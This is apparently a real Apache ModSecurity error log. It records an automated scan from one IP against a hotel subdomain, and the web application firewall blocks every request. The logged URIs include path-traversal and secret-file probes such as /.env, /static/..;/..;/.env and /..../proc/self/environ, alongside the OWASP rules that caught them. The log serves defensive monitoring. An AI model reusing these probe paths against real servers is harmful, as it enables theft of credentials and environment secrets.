[Mon Oct 26 10:03:27.950726 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1QAAAAc"]
[Mon Oct 26 10:03:27.951514 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9dr7GXTlA520hhAgG8BAAAAA8"]
[Mon Oct 26 10:03:27.951559 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9dr7GXTlA520hhAgG8BAAAAA8"]
[Mon Oct 26 10:03:27.951606 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9dr7GXTlA520hhAgG8BAAAAA8"]
[Mon Oct 26 10:03:27.951739 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9dr7GXTlA520hhAgG8BAAAAA8"]
[Mon Oct 26 10:03:27.951980 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9dr7GXTlA520hhAgG8BAAAAA8"]
[Mon Oct 26 10:03:27.965461 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1gAAAAc"]
[Mon Oct 26 10:03:27.965546 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1gAAAAc"]
[Mon Oct 26 10:03:27.965591 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1gAAAAc"]
[Mon Oct 26 10:03:27.965725 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1gAAAAc"]
[Mon Oct 26 10:03:27.966048 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b1gAAAAc"]
[Mon Oct 26 10:03:27.966703 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/home/user/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at9drwt8dJFpdHay4jzKkwAAAAA"]
[Mon Oct 26 10:03:27.966879 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at9drwt8dJFpdHay4jzKkwAAAAA"]
[Mon Oct 26 10:03:27.967127 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at9drwt8dJFpdHay4jzKkwAAAAA"]
[Mon Oct 26 10:03:27.967183 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at9dr8fzpoBm8xCXttklUAAAABA"]
[Mon Oct 26 10:03:27.967332 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at9dr8fzpoBm8xCXttklUAAAABA"]
[Mon Oct 26 10:03:27.967596 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at9dr8fzpoBm8xCXttklUAAAABA"]
[Mon Oct 26 10:03:27.968146 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at9dr09qPMNS87qzj5gkQAAAABE"]
[Mon Oct 26 10:03:27.968290 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at9dr09qPMNS87qzj5gkQAAAABE"]
[Mon Oct 26 10:03:27.968556 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at9dr09qPMNS87qzj5gkQAAAABE"]
[Mon Oct 26 10:03:27.968858 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at9dr7GXTlA520hhAgG8BQAAAA8"]
[Mon Oct 26 10:03:27.968917 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at9dr7GXTlA520hhAgG8BQAAAA8"]
[Mon Oct 26 10:03:27.969036 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at9dr7GXTlA520hhAgG8BQAAAA8"]
[Mon Oct 26 10:03:27.969254 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at9dr7GXTlA520hhAgG8BQAAAA8"]
[Mon Oct 26 10:03:27.969476 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKDQAAAAs"]
[Mon Oct 26 10:03:27.969645 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKDQAAAAs"]
[Mon Oct 26 10:03:27.969886 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9dr7cZuT5gdeNd6aUKDQAAAAs"]
[Mon Oct 26 10:03:27.970350 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9dryDi6FEnz4zo40NhgAAAAAk"]
[Mon Oct 26 10:03:27.970389 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9dryDi6FEnz4zo40NhgAAAAAk"]
[Mon Oct 26 10:03:27.970430 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9dryDi6FEnz4zo40NhgAAAAAk"]
[Mon Oct 26 10:03:27.970584 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9dryDi6FEnz4zo40NhgAAAAAk"]
[Mon Oct 26 10:03:27.970797 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at9dr9dWtrCZuT8sbNQ5fgAAACU"]
[Mon Oct 26 10:03:27.970805 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9dryDi6FEnz4zo40NhgAAAAAk"]
[Mon Oct 26 10:03:27.970851 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at9dr9dWtrCZuT8sbNQ5fgAAACU"]
[Mon Oct 26 10:03:27.970989 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at9dr9dWtrCZuT8sbNQ5fgAAACU"]
[Mon Oct 26 10:03:27.971219 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at9dr9dWtrCZuT8sbNQ5fgAAACU"]
[Mon Oct 26 10:03:27.972292 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env/public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmKAAAAA4"]
[Mon Oct 26 10:03:27.972443 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmKAAAAA4"]
